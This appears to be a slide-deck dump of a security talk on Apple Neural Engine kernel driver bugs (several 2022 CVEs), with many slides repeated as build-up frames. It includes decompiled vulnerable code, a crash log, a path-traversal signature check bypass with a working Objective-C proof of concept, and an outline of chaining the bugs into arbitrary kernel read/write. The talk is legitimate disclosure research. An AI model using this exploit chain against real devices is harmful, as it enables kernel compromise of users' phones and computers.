- weight_objects class member is an array of *ANECMutableWeight.*

- *ANECMutableWeight* array allocation size is *opsInfo->op_count* from *ANECMutableProcedureInfo* (user controlled shared buffer)

CVE-2022-32948: DeCxt::FileIndexToWeight() improper index validation

- *DeCxt::FileIndexToWeigh()* is reachable from *H11ANEInDirectPathClient::_ANE_ProgramSendRequest()*

```
bool __thiscall DeCxt::FileIndexToWeight(DeCxt *this, uint32_t index, uint64_t offset, char **param_3)
{
  MutableOperationInfo *weight_objects; // x8
  uint64_t weightBufSize; // x20

  weight_objects = this->weight_objects;
  weightBufSize = weight_objects[index]._weightBufSize;
  if ( weightBufSize <= offset )
    _os_log_internal(
      &dword_0,
      &_os_log_default,
      0,
      "%s: aggregate weight buffer chunk too small",
      "bool DeCxt::FileIndexToWeight(uint32_t, uint64_t, const char *&)");
  else
    *param_3 = &weight_objects[index]._weightBuf[offset];
  return weightBufSize > offset;
}
```

- Both *index* and *offset* are user-controlled parameters.

- weight_objects class member is an array of *ANECMutableWeight.*

- *ANECMutableWeight* array allocation size is *opsInfo->op_count* from *ANECMutableProcedureInfo* (user controlled shared buffer)

CVE-2022-32948: DeCxt::FileIndexToWeight() improper index validation

- *DeCxt::FileIndexToWeigh()* is reachable from *H11ANEInDirectPathClient::_ANE_ProgramSendRequest()*

```
1  bool __thiscall DeCxt::FileIndexToWeight(DeCxt *this, uint32_t index, uint64_t offset, char **param_3)
2  {
3    MutableOperationInfo *weight_objects; // x8
4    uint64_t weightBufSize; // x20
5
6    weight_objects = this->weight_objects;
7    weightBufSize = weight_objects[index]._weightBufSize;
8    if ( weightBufSize <= offset )
9      _os_log_internal(
10       &dword_0,
11       &_os_log_default,
12       0,
13       "%s: aggregate weight buffer chunk too small",
14       "bool DeCxt::FileIndexToWeight(uint32_t, uint64_t, const char *&)");
15   else
16     *param_3 = &weight_objects[index]._weightBuf[offset];
17   return weightBufSize > offset;
18 }
```

Offset	Size	struct ANECMutableWeight
		{
0000	0008	uint8_t *_weightBuf;
0008	0008	uint64_t _weightBufSize;
	0010	};

- Both *index* and *offset* are user-controlled parameters.
- weight_objects class member is an array of *ANECMutableWeight.*
- *ANECMutableWeight* array allocation size is *opsInfo->op_count* from *ANECMutableProcedureInfo* (user controlled shared buffer)

CVE-2022-32948: DeCxt::FileIndexToWeight() improper index validation

- *DeCxt::FileIndexToWeigh()* is reachable from *H11ANEInDirectPathClient::_ANE_ProgramSendRequest()*

```
1  bool __thiscall DeCxt::FileIndexToWeight(DeCxt *this, uint32_t index, uint64_t offset, char **param_3)
2  {
3    MutableOperationInfo *weight_objects; // x8
4    uint64_t weightBufSize; // x20
5
6    weight_objects = this->weight_objects;
7    weightBufSize = weight_objects[index]._weightBufSize;
8    if ( weightBufSize <= offset )
9      _os_log_internal(
10       &dword_0,
11       &_os_log_default,
12       0,
13       "%s: aggregate weight buffer chunk too small",
14       "bool DeCxt::FileIndexToWeight(uint32_t, uint64_t, const char *&)");
15   else
16     *param_3 = &weight_objects[index]._weightBuf[offset];
17   return weightBufSize > offset;
18 }
```

Offset	Size	struct ANECMutableWeight
		{
0000	0008	uint8_t *_weightBuf;
0008	0008	uint64_t _weightBufSize;
	0010	};

- The lack of *index* validation allows reading out-of-bounds *ANECMutableWeight* objects.
- By grooming kernel memory, the attacker can read data from **arbitrary kernel pointer** with **arbitrary size.**

Vulnerabilities

CVE-2022-32840: OOB writes in ANE_ProgramSendRequest().

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow.

CVE-2022-32948: DeCxt::FileIndexToWeight() improper index validation.

Vulnerabilities

CVE-2022-32840: OOB writes in ANE_ProgramSendRequest().

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow.

CVE-2022-32948: DeCxt::FileIndexToWeight() improper index validation.

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB write.

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB write

DeCxt::RasterizeScaleBiasData() call trace

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB write

DeCxt::RasterizeScaleBiasData() prototype

```
IOReturn __thiscall DeCxt::RasterizeScaleBiasData(
        DeCxt *this,
        ulonglong param_1,
        ushort param_2,
        OcgRasterizationInfoStruct *param_3,
        DvPtr *DvPtr1,
        DvPtr *DvPtr2,
        void *MUTK_kernel_section,
        ulonglong MUTK_kernel_section_size)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
```

- The function converts floating-point values from single-precision to half-precision.
- *param_1*, *param_2* and *param_3* are user-controlled input.

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB write

DeCxt::RasterizeScaleBiasData() prototype

```
IOReturn __thiscall DeCxt::RasterizeScaleBiasData(
        DeCxt *this,
        ulonglong param_1,
        ushort param_2,
        OcgRasterizationInfoStruct *param_3,
        DvPtr *DvPtr1,
        DvPtr *DvPtr2,
        void *MUTK_kernel_section,
        ulonglong MUTK_kernel_section_size)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
```

- *param_1* is 64-bit value and it's user-controlled input.

```
        while ( ZinIrDeserializer::ReadUint64(&this->m_ZinIrDeserializer, &param_1)
             && ZinIrDeserializer::ReadUint16(&this->m_ZinIrDeserializer, &v21) )
        {
```

From DeCxt::ProcessOneInitItem()

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB write

DeCxt::RasterizeScaleBiasData() prototype

```
IOReturn __thiscall DeCxt::RasterizeScaleBiasData(
        DeCxt *this,
        ulonglong param_1,
        ushort param_2,
        OcgRasterizationInfoStruct *param_3,
        DvPtr *DvPtr1,
        DvPtr *DvPtr2,
        void *MUTK_kernel_section,
        ulonglong MUTK_kernel_section_size)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
```

- *param_2* is 16-bit value and it's user controlled input.

```
      goto LABEL_31;
    if ( !ZinIrDeserializer::ReadUint16(&this->m_ZinIrDeserializer, &param_2) )
      goto LABEL_30;
```

From DeCxt::ProcessOneInitItem()

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB write

DeCxt::RasterizeScaleBiasData() prototype

```
IOReturn __thiscall DeCxt::RasterizeScaleBiasData(
        DeCxt *this,
        ulonglong param_1,
        ushort param_2,
        OcgRasterizationInfoStruct *param_3,
        DvPtr *DvPtr1,
        DvPtr *DvPtr2,
        void *MUTK_kernel_section,
        ulonglong MUTK_kernel_section_size)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
```

Offset	Size	struct OcgRasterizationInfoStruct
		{
0000	0002	__int16 start;
0002	0002	__int16 offset;
0004	0002	__int16 pos;
0006	0002	__int16 end;
	0008	};

- *param_3* is deserialized by *DeCxt::ParseOcgRasterizationInfo().*

```
IOReturn __thiscall DeCxt::ParseOcgRasterizationInfo(DeCxt *this, OcgRasterizationInfoStruct *param_1)
{
  __int64 _18; // [xsp+18h] [xbp+8h]

  if ( !ZinIrDeserializer::ReadUint16(&this->m_ZinIrDeserializer, param_1)
     || !ZinIrDeserializer::ReadUint16(&this->m_ZinIrDeserializer, &param_1->offset)
     || !ZinIrDeserializer::ReadUint16(&this->m_ZinIrDeserializer, &param_1->pos) )
  {
    return 0;
  }
  if...
  return ZinIrDeserializer::ReadUint16(&this->m_ZinIrDeserializer, &param_1->end);
}
```

Called by DeCxt::ProcessOneInitItem()

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB write

DeCxt::RasterizeScaleBiasData() prototype

```
IOReturn __thiscall DeCxt::RasterizeScaleBiasData(
        DeCxt *this,
        ulonglong param_1,
        ushort param_2,
        OcgRasterizationInfoStruct *param_3,
        DvPtr *DvPtr1,
        DvPtr *DvPtr2,
        void *MUTK_kernel_section,
        ulonglong MUTK_kernel_section_size)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
```

- *MUTK_kernel_section* is an IOSurface mapped buffer created by the kernel.
- Created by *H11ANEIn::AllocateSharedMemorySurface() .*

```
319     v243 = v54;
320     ret_1 = H11ANEIn::AllocateSharedMemorySurface(
321               this,
322               (unionvar.SectionInfo->infos[j].ComputeSection->MachSections->size + this->m_H11ANEIn.page_size - 1) & -this->m_H11ANEIn.page_size,
323               &ProgramBuffer->m.MUTK_Surface[k],
324               1,
325               'MUTK',
326               1,                              // requireMap
327               0,                              // isGlobal
328               0);                             // useReserve
329     if ( ret_1 )
330       break;
331     v57 = j;
```

H11ANEIn::ANE_ProgramCreate_gated

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB write

DeCxt::RasterizeScaleBiasData()

```
15    goto LABEL_8;
16  kloc = (MUTK_kernel_section + param_1 + OcgRasterizationInfo->start);
17  if ( MUTK_kernel_section + MUTK_kernel_section_size < &kloc[OcgRasterizationInfo->end] )
18    return 0;
19  if ( OcgRasterizationInfo->end )
20  {
21    v16 = 0LL;
22    while ( 1 )
23    {
24      v34 = 0;
25      result = DvPtr1->vtable->GetFloat(DvPtr1, v16 + OcgRasterizationInfo->pos, &v34);
26      if ( !result )
27        break;
28      _S0 = v34;
29      __asm { FCVT            H0, S0 }
30      kloc[v16++] = _S0;
31      if ( v16 >= OcgRasterizationInfo->end )
32        goto LABEL_8;
33    }
34  }
```

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB write

DeCxt::RasterizeScaleBiasData()

```
15    goto LABEL_8;
16  kloc = (MUTK_kernel_section + param_1 + OcgRasterizationInfo->start);
17  if ( MUTK_kernel_section + MUTK_kernel_section_size < &kloc[OcgRasterizationInfo->end] )
18    return 0;
19  if ( OcgRasterizationInfo->end )
20  {
21    v16 = 0LL;
22    while ( 1 )
23    {
24      v34 = 0;
25      result = DvPtr1->vtable->GetFloat(DvPtr1, v16 + OcgRasterizationInfo->pos, &v34);
26      if ( !result )
27        break;
28      _S0 = v34;
29      __asm { FCVT            H0, S0 }
30      kloc[v16++] = _S0;
31      if ( v16 >= OcgRasterizationInfo->end )
32        goto LABEL_8;
33    }
34  }
```

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB write

DeCxt::RasterizeScaleBiasData()

```
15      goto LABEL_8;
16    kloc = (MUTK_kernel_section + param_1 + OcgRasterizationInfo->start);
17    if ( MUTK_kernel_section + MUTK_kernel_section_size < &kloc[OcgRasterizationInfo->end] )
18      return 0;
19    if ( OcgRasterizationInfo->end )
20    {
21      v16 = 0LL;
22      while ( 1 )
23      {
24        v34 = 0;
25        result = DvPtr1->vtable->GetFloat(DvPtr1, v16 + OcgRasterizationInfo->pos, &v34);
26        if ( !result )
27          break;
28        _S0 = v34;
29        __asm { FCVT            H0, S0 }
30        kloc[v16++] = _S0;
31        if ( v16 >= OcgRasterizationInfo->end )
32          goto LABEL_8;
33      }
34    }
```

- A sanity check for a potential integer overflow in the calculation at line 16.

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB write

DeCxt::RasterizeScaleBiasData()

```
15      goto LABEL_8;
16    kloc = (MUTK_kernel_section + param_1 + OcgRasterizationInfo->start);
17    if ( MUTK_kernel_section + MUTK_kernel_section_size < &kloc[OcgRasterizationInfo->end] )
18      return 0;
19    if ( OcgRasterizationInfo->end )
20    {
21      v16 = 0LL;
22      while ( 1 )
23      {
24        v34 = 0;
25        result = DvPtr1->vtable->GetFloat(DvPtr1, v16 + OcgRasterizationInfo->pos, &v34);
26        if ( !result )
27          break;
28        _S0 = v34;
29        __asm { FCVT            H0, S0 }
30        kloc[v16++] = _S0;
31        if ( v16 >= OcgRasterizationInfo->end )
32          goto LABEL_8;
33      }
34    }
```

- A sanity check for a potential integer overflow in the calculation at line 16.
- The sanity checks does **NOT** prevent from **integer underflow**.

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB write

DeCxt::RasterizeScaleBiasData()

```
15      goto LABEL_8;
16    kloc = (MUTK_kernel_section + param_1 + OcgRasterizationInfo->start);
17    if ( MUTK_kernel_section + MUTK_kernel_section_size < &kloc[OcgRasterizationInfo->end] )
18      return 0;
19    if ( OcgRasterizationInfo->end )
20    {
21      v16 = 0LL;
22      while ( 1 )
23      {
24        v34 = 0;
25        result = DvPtr1->vtable->GetFloat(DvPtr1, v16 + OcgRasterizationInfo->pos, &v34);
26        if ( !result )
27          break;
28        _S0 = v34;
29        __asm { FCVT            H0, S0 }
30        kloc[v16++] = _S0;
31        if ( v16 >= OcgRasterizationInfo->end )
32          goto LABEL_8;
33      }
34    }
```

- A sanity check for a potential integer overflow in the calculation at line 16.
- The sanity checks does **NOT** prevent from **integer underflow**.
- Buffer underflow that allows to write arbitrary data to any location prior the MUTK_kernel_section address.
- Up to 0x20000 bytes of user-controlled data could be written.

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB write

Kernel panic occurs because **x25 = 0x4141414142424242**

```
com.apple.driver.AppleH11ANEInterface:__text:FFFFFFF0089F9020    MOV     X17, X9
com.apple.driver.AppleH11ANEInterface:__text:FFFFFFF0089F9024    MOVK    X17, #0xF99B,LSL#48
com.apple.driver.AppleH11ANEInterface:__text:FFFFFFF0089F9028    BLRAA   X8, X17
com.apple.driver.AppleH11ANEInterface:__text:FFFFFFF0089F902C    CBZ     W0, loc_FFFFFFF0089F9140
com.apple.driver.AppleH11ANEInterface:__text:FFFFFFF0089F9030    LDR     S0, [SP,#0x90+var_54]
com.apple.driver.AppleH11ANEInterface:__text:FFFFFFF0089F9034    FCVT    H0, S0
com.apple.driver.AppleH11ANEInterface:__text:FFFFFFF0089F9038    STR     H0, [X25,X26,LSL#1]
com.apple.driver.AppleH11ANEInterface:__text:FFFFFFF0089F903C    ADD     X26, X26, #1
com.apple.driver.AppleH11ANEInterface:__text:FFFFFFF0089F9040    LDRH    W8, [X20,#6]
com.apple.driver.AppleH11ANEInterface:__text:FFFFFFF0089F9044    CMP     X26, X8
```

```
"panicString" : "panic(cpu 5 caller 0xfffffff0275515fc): Kernel data abort. at pc 0xfffffff027ca9038, lr 0xe5cbd07027ca902c
    x0:  0x0000000000000001 x1:  0x0000000000000000  x2:  0xffffffe7ae5dae6c  x3:  0xafa4357027cad24c
    x4:  0xfffffff026b94238 x5:  0xffffffe7ae5daf40  x6:  0xffffffe7a9f08000  x7:  0x0000000000004000
    x8:  0xffffffe22d76c700 x9:  0xfffffff026b941a0  x10: 0x4141414142424252  x11: 0x0000000000000030
    x12: 0xffffffeffdf4c000 x13: 0x00000000000000a8  x14: 0xfffffff028fa4880  x15: 0x0000000000001020
    x16: 0x46a4fff026b94238 x17: 0x3f0dffe3f8f6d340  x18: 0x0000000000000000  x19: 0xffffffe7ae5daf40
    x20: 0xffffffe7ae5daee0 x21: 0x0000000000000001  x22: 0xffffffe7a9f08000  x23: 0x414141599851c242
    x24: 0xffffffe7ae5daf50 x25: 0x4141414142424242  x26: 0x0000000000000000  x27: 0xb14affe7ae5daf50
    x28: 0xb14affe7ae5daf40 fp:  0xffffffe7ae5daec0  lr:  0xe5cbd07027ca902c  sp:  0xffffffe7ae5dae30
    pc:  0xfffffff027ca9038 cpsr: 0x20401208         esr: 0x96000044          far: 0x4141414142424242
```

Could be turned into **arbitrary kernel write** if the location of *MUTK_kernel_section* was known.

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB write

- Another OOB read/write in DeCxt::RasterizeScaleBiasData().
- Because offset and pos are fully user-controlled and not validated before their usage.

```
v22 = 0LL;
ptr = (MUTK_kernel_section + param_1 + param_3->offset);
v32 = vdupq_n_s64(v11 - 1);
v31 = vdupq_n_s64(2uLL);
while ( 1 )
{
  v33 = 0;
  result = (DvPtr2->vtable->GetFloat)(DvPtr2, v22 + param_3->pos, &v33);
  if ( !result )
    break;
  if ( v11 )
  {
    _S0 = v33;
    __asm { FCVT            H0, S0 }
    v26 = vdupq_n_s64(v22 * v11);
    v27 = (v11 + 1) & 0x1FFFELL;
    v28 = stru_749D0;
    do
    {
      v29 = vmovn_s64(vcgeq_u64(v32, v28));
      v30 = vaddq_s64(v28, v26);
      if ( (v29.i8[0] & 1) != 0 )
        ptr[v30.i64[0]] = _H0;
      if ( (v29.i8[4] & 1) != 0 )
        ptr[v30.i64[1]] = _H0;
      v28 = vaddq_s64(v28, v31);
      v27 -= 2LL;
    }
    while ( v27 );
  }
```

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB write

- Another OOB read/write in DeCxt::RasterizeScaleBiasData().
- Because offset and pos are fully user-controlled and not validated before their usage.

```
v22 = 0LL;
ptr = (MUTK_kernel_section + param_1 + param_3->offset);
v32 = vdupq_n_s64(v11 - 1);
v31 = vdupq_n_s64(2uLL);
while ( 1 )
{
  v33 = 0;
  result = (DvPtr2->vtable->GetFloat)(DvPtr2, v22 + param_3->pos, &v33);
  if ( !result )
    break;
  if ( v11 )
  {
    _S0 = v33;
    __asm { FCVT            H0, S0 }
    v26 = vdupq_n_s64(v22 * v11);
    v27 = (v11 + 1) & 0x1FFFELL;
    v28 = stru_749D0;
    do
    {
      v29 = vmovn_s64(vcgeq_u64(v32, v28));
      v30 = vaddq_s64(v28, v26);
      if ( (v29.i8[0] & 1) != 0 )
        ptr[v30.i64[0]] = _H0;
      if ( (v29.i8[4] & 1) != 0 )
        ptr[v30.i64[1]] = _H0;
      v28 = vaddq_s64(v28, v31);
      v27 -= 2LL;
    }
    while ( v27 );
  }
```

DeCxt::RasterizeScaleBiasData() call trace

DeCxt::FileIndexToWeight() call trace

ANECValidateMutableProcedureInfo() call trace

DeCxt::RasterizeScaleBiasData() call trace

DeCxt::FileIndexToWeight() call trace

ANECValidateMutableProcedureInfo() call trace

How to reach *H11ANEIn::patchMutableSurface()* ?

How to reach H11ANEIn::patchMutableSurface() ?

Requirements:

- The model.hwx (Mach-O file) must have some special flags in some mach sections.
- The model.hwx must have a procedure (Neural Network) with mutable features.

How to reach H11ANEIn::patchMutableSurface() ?

Requirements:

- The model.hwx (Mach-O file) must have some special flags in some mach sections.
- The model.hwx must have a procedure (Neural Network) with mutable features.

Failed to fulfill them because :

- No documentation available.
- To understand the compilation/translation options available, you need to RE some private frameworks yourself : ***mlcompiler***, ***Espresso*** and ***ANECCompiler.***
- Good luck reversing frameworks written in C++ and STL.

How to reach H11ANEIn::patchMutableSurface() ?

1. Patch an existing <u>model.hwx</u> file

- The model is a Mach-O file and easy parse and edit

2. Load a patched <u>model.hwx</u> via aned

- You can't directly provide a native model by yourself to the kernel (unless you have a special entitlement).
- *<u>aned</u>* allows loading binary models without compilation (with some constraints) and can do the work on you behalf.

```
@protocol _ANEDaemonProtocol
@required
    -(void)compileModel:(id)arg1 sandboxExtension:(id)arg2 options:(id)arg3 qos:(unsigned)arg4 withReply:(/*^block*/id)arg5;
    -(void)loadModel:(id)arg1 sandboxExtension:(id)arg2 options:(id)arg3 qos:(unsigned)arg4 withReply:(/*^block*/id)arg5;
    -(void)unloadModel:(id)arg1 options:(id)arg2 qos:(unsigned)arg3 withReply:(/*^block*/id)arg4;
    -(void)compiledModelExistsFor:(id)arg1 withReply:(/*^block*/id)arg2;
    -(void)purgeCompiledModel:(id)arg1 withReply:(/*^block*/id)arg2;
@end
```

Load a malformed model.hwx (Mach-O) file

- ***aned*** **loads different model formats according to the given dictionary options:**
  - {kANEFModelType : nil } ⇒ Compiles + Loads **.mlmodelc .**
  - **{**kANEFModelType **:** kANEFModelPreCompiled **}** ⇒ Loads **model.hwx** from arbitrary location.
  - **{**kANEFIsInMemoryModelTypeKey **: <model> }** ⇒ Loads **model.hwx** from the cache directory.
- ***aned*** **can loads** ***model.hwx*** **from two different locations:**
  - *Cache Directory*: Loads an already compiled model.
  - *Arbitrary location:* Loads a compiled model from a given directory.

Load a malformed model.hwx (Mach-O) file

From the cache directory using kANEFIsInMemoryModelTypeKey

- macOS : */Library/Caches/com.apple.aned/<build no>/InMemoryModelCache*
- *OS: */var/mobile/Library/Caches/com.apple.aned/<build no>/InMemoryModelCache*
- Even root can’t read its content. Security Features need to be disabled in macOS .

```
mg@mbp ~$ sudo ls -lia /Library/Caches/com.apple.aned/
ls: /Library/Caches/com.apple.aned/: Operation not permitted
```

Load a malformed model.hwx (Mach-O) file

From the cache directory using kANEFIsInMemoryModelTypeKey

Load a malformed model.hwx (Mach-O) file

From the cache directory using kANEFIsInMemoryModelTypeKey

- Get the cache directory location.

```
<CacheDir>/InMemoryModelCache /
```

Load a malformed model.hwx (Mach-O) file

From the cache directory using kANEFIsInMemoryModelTypeKey

- Get the cache directory location.
- Append csIdentity to that cache directory.

<CacheDir>/InMemoryModelCache / <csIdentity> /

Load a malformed model.hwx (Mach-O) file

From the cache directory using kANEFIsInMemoryModelTypeKey

- Get the cache directory location.
- Append csIdentity to that cache directory.
- Append kANEFIsInMemoryModelTypeKey value.

<CacheDir>/InMemoryModelCache / <csIdentity> / <**model**> /

Load a malformed model.hwx (Mach-O) file

From the cache directory using kANEFIsInMemoryModelTypeKey

- Get the cache directory location.
- Append csIdentity to that cache directory.
- Append kANEFIsInMemoryModelTypeKey value.
- Append “model.hwx” string to the cache directory.

<CacheDir>/InMemoryModelCache / <csIdentity> / <**model**> / model.hwx

Load a malformed model.hwx (Mach-O) file

From the cache directory using kANEFIsInMemoryModelTypeKey

<CacheDir>/InMemoryModelCache / <csIdentity> / <**model**> / model.hwx

- The model.hwx is loaded from the cache directory by:
  - ***aned'[_ANEStorageHelper memoryMapModelAtPath:isPrecompiled:modelAttributes:]***

Load a malformed model.hwx (Mach-O) file

From the cache directory using kANEFIsInMemoryModelTypeKey

<CacheDir>/InMemoryModelCache / <csIdentity> / <**model**> / model.hwx

- The model.hwx is loaded from the cache directory by:
  - ***aned'[_ANEStorageHelper memoryMapModelAtPath:isPrecompiled:modelAttributes:]***
- Send a request to the kernel to create the program:

```
465             v181 = v165;
466             v119 = (unsigned int)-[_ANEProgramForLoad createProgramInstanceForModel:modelToken:qos:isPreCompiled:enablePowerSaving:statsMask:error:](
467                                   v114,
468                                   "createProgramInstanceForModel:modelToken:qos:isPreCompiled:enablePowerSaving:statsMask:error:",
469                                   hwx_model,
470                                   token,
471                                   qos,
472                                   _isPreCompiled,
473                                   v115,
474                                   v118,
475                                   &v181);
```

-[_ANEServer loadModel:sandboxExtension:options:qos:withReply:]

Load a malformed model.hwx (Mach-O) file

From any location using kANEFModelPreCompiled

- The model.hwx file is loaded from **arbitrary location**
  - ***aned'[_ANEStorageHelper memoryMapModelAtPath:isPrecompiled:modelAttributes:]***
  - *With **isPrecompiled** = **True***

- Send a request to the kernel to create the program with *isPrecompiled=True.*

```
465                 v181 = v165;
466                 v119 = (unsigned int)-[_ANEProgramForLoad createProgramInstanceForModel:modelToken:qos:isPreCompiled:enablePowerSaving:statsMask:error:](
467                                         v114,
468                                         "createProgramInstanceForModel:modelToken:qos:isPreCompiled:enablePowerSaving:statsMask:error:",
469                                         hwx_model,
470                                         token,
471                                         qos,
472                                         _isPreCompiled,
473                                         v115,
474                                         v118,
475                                         &v181);
```

aned`-[_ANEServer loadModel:sandboxExtension:options:qos:withReply:]

Load a malformed model.hwx (Mach-O) file

From any location using kANEFModelPreCompiled

- The model.hwx file is loaded from **arbitrary location**
- Send a request to the kernel to create the program with *isPrecompiled=True.*

```
465     v181 = v165;
466     v119 = (unsigned int)-[_ANEProgramForLoad createProgramInstanceForModel:modelToken:qos:isPreCompiled:enablePowerSaving:statsMask:error:](
467                              v114,
468                              "createProgramInstanceForModel:modelToken:qos:isPreCompiled:enablePowerSaving:statsMask:error:",
469                              hwx_model,
470                              token,
471                              qos,
472                              _isPreCompiled,
473                              v115,
474                              v118,
475                              &v181);
```

aned`-[_ANEServer loadModel:sandboxExtension:options:qos:withReply:]

User

Kernel

```
144     v29 = 0xE00002D1;
145     if ( !structInput->isPreCompiled
146       || (v14 = H11ANEIn::AneMachoSignatureCheck(this, mach_header, macho_size)) == 0 )
147     {
148       ret = ZinComputeProgramMake(mach_header, macho_size, ZinComputeProgramStructOut);
149       if ( ZinComputeProgramStructOut && !ret )
150       {
```

From H11ANEIn::ANE_ProgramCreatePreprocessing()

Load a malformed model.hwx (Mach-O) file

Takeaways:

- Only the models that were compiled by Apple can be loaded from any location.

- Our (malicious) model needs to be located in the cache directory in order to be loaded.

- As a result: there's no legitimate way to load a modified model.

Solution ?

Load a malformed model.hwx (Mach-O) file

Takeaways:

- Only the models that were compiled by Apple can be loaded from any location.

- Our (malicious) model needs to be located in the cache directory in order to be loaded.

- As a result: there's no legitimate way to load a modified model.

Solution ?

- Find a vulnerability to trick aned to load our malicious (non-signed) model.hwx.

Vulnerabilities

CVE-2022-32840: OOB writes in ANE_ProgramSendRequest().

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow.

CVE-2022-32948: DeCxt::FileIndexToWeight() improper index validation.

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB writes.

Vulnerabilities

CVE-2022-32840: OOB writes in ANE_ProgramSendRequest().

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow.

CVE-2022-32948: DeCxt::FileIndexToWeight() improper index validation.

CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB writes.

CVE-2022-32845: aned signature check bypass for model.hwx.

CVE-2022-32845: aned signature check bypass for model.hwx

From the cache directory using kANEFIsInMemoryModelTypeKey

- Get the cache directory location
- Append csIdentity to that cache directory.
- Append kANEFIsInMemoryModelTypeKey value.
- If found, Append “model.hwx” string to the cache directory.

<CacheDir>/InMemoryModelCache / <csIdentity> / <**model**> / model.hwx

CVE-2022-32845: aned signature check bypass for model.hwx

From the cache directory using kANEFIsInMemoryModelTypeKey

- Get the cache directory location
- Append csIdentity to that cache directory.
- Append kANEFIsInMemoryModelTypeKey value.
- If found, Append “model.hwx” string to the cache directory.
- **Directory Traversal in kANEFIsInMemoryModelTypeKey value.**

<CacheDir>/InMemoryModelCache / <csIdentity> / <../../../../> / model.hwx

CVE-2022-32845: aned signature check bypass for model.hwx

Directory Traversal in kANEFIsInMemoryModelTypeKey value

- kANEFIsInMemoryModelTypeKey value is not sanitized.
- Load a **malformed model.hwx** outside of the cache directory by exploiting the path traversal input.
- However the model's cache directory path must first be created.
- We need to compile a *mlmodelc* to create the directory.

<CacheDir>/InMemoryModelCache / <csIdentity> / <../../../../> / model.hwx

Proof Of Concept: Load a malformed model.hwx

Step 1: Create a model directory in the cache

- Send **foo.mlmodelc** as a model directory to *aned* for loading.

- *aned* calls *ANECompilerService* to compile the model under **foo.mlmodelc** directory.

- *ANECompilerService* creates **foo** directory in the cache directory then saves the compiled model.hwx for later use

<CacheDir>/InMemoryModelCache / <csIdentity> / **foo** / model.hwx

Proof Of Concept: Load a malformed model.hwx

Step 2: Craft a traversal path to load malicious model.hwx

- Put the malformed model.hwx in a directory **bar**.

- Create an option dictionary with {kANEFIsInMemoryModelTypeKey : *bar_path* }.
  - Where *bar_path* = **../../../../../../../../../../../../bar**

- Call *aned* to load the model from kANEFIsInMemoryModelTypeKey path:
  - **-[_ANEInMemoryModelCacheManager cachedModelPathMatchingHash:csIdentity:]** is called to retrieve the cache directory for that model

<CacheDir>/InMemoryModelCache / <csIdentity> / **foo** / **../../../../../../../../../../../../bar** / malicious_model.hwx

- **+[_ANEStorageHelper memoryMapModelAtPath:isPrecompiled:modelAttributes:]** to load malicious_model.hwx from the malicious path with **isPrecompiled = False**.

Proof Of Concept: Load a malformed model.hwx

```
uint64_t hwx_load_model(void)
{
        dbg("[+] Loading model.hwx  .. ");
        NSError * err;
#if TARGET_OS_OSX
        NSString  * tmp_model_path = @"/var/";
        NSString  * path_traversal_input = @"../../../../../../../../../../../../../var/tmp/";
#else

        NSString  * tmp_model_path = NSTemporaryDirectory();
        char bundle_path_traversal[0x2000] = {0};
        snprintf(bundle_path_traversal,0x2000,"../../../../../../../../../../../../../%s",
                 [tmp_model_path cStringUsingEncoding:NSUTF8StringEncoding] );

        NSString *path_traversal_input = [NSString stringWithCString:bundle_path_traversal encoding:NSUTF8StringEncoding];

#endif
        NSURL  * tmp_model_url = [NSURL URLWithString: tmp_model_path];
        md = [_ANEModel modelAtURL:tmp_model_url key:@""];
        anec  = [_ANEClient sharedConnection];
        NSDictionary *opts = [NSMutableDictionary dictionary];

        // Create the model's cache directory
        [anec loadModel:md options:opts qos:2 error:&err];


        [opts setValue:@YES forKey:@"kANEFInMemoryModelIsCachedKey"];
        [opts setValue:path_traversal_input forKey:@"kANEFIsInMemoryModelTypeKey"];
        [anec loadModel:md options:opts qos:1 error:&err];


        if([md programHandle])
                dbg("OK\n");
        else {
            // ...
        }
        return [md programHandle];
}
```

Proof of concept exploit for macOS & iOS

Exploitation

Build an arbitrary kernel r/w primitive

Build an arbitrary kernel r/w primitive

- **The exploit chains 4 vulnerabilities**

- CVE-2022-32845: aned signature check bypass for model.hwx.
- CVE-2022-32948: DeCxt::FileIndexToWeight() improper index validation.
- CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow.
- CVE-2022-32899: DeCxt::RasterizeScaleBiasData() OOB writes.

- **The exploitation could've been done with less amount of bugs.**

Build an arbitrary kernel r/w primitive

- tfp0 techniques are dead since iOS 14.0

Build an arbitrary kernel r/w primitive

- tfp0 techniques are dead since iOS 14.0
- Overwrite IOSurfaceClient reference in IOSurfaceRootUserClient for arbitrary r/w:
  - First public appearance of the technique was in my *oob_event* kernel exploit for iOS 13.7
  - Used to bypass zone_require() by corrupting corpse_task->map with kernel_map to gain tfp0

```
611
612         // now corpse->map = kernel_map, thus we mimic kernel task port
613         for(int j=0;j<200;j++)
614                 set_indexed_timestamp(tmp, sids[j], 0, kernel_map);
```

Snippet from oob_event exploit

Build an arbitrary kernel r/w primitive

- tfp0 techniques are dead since iOS 14.0
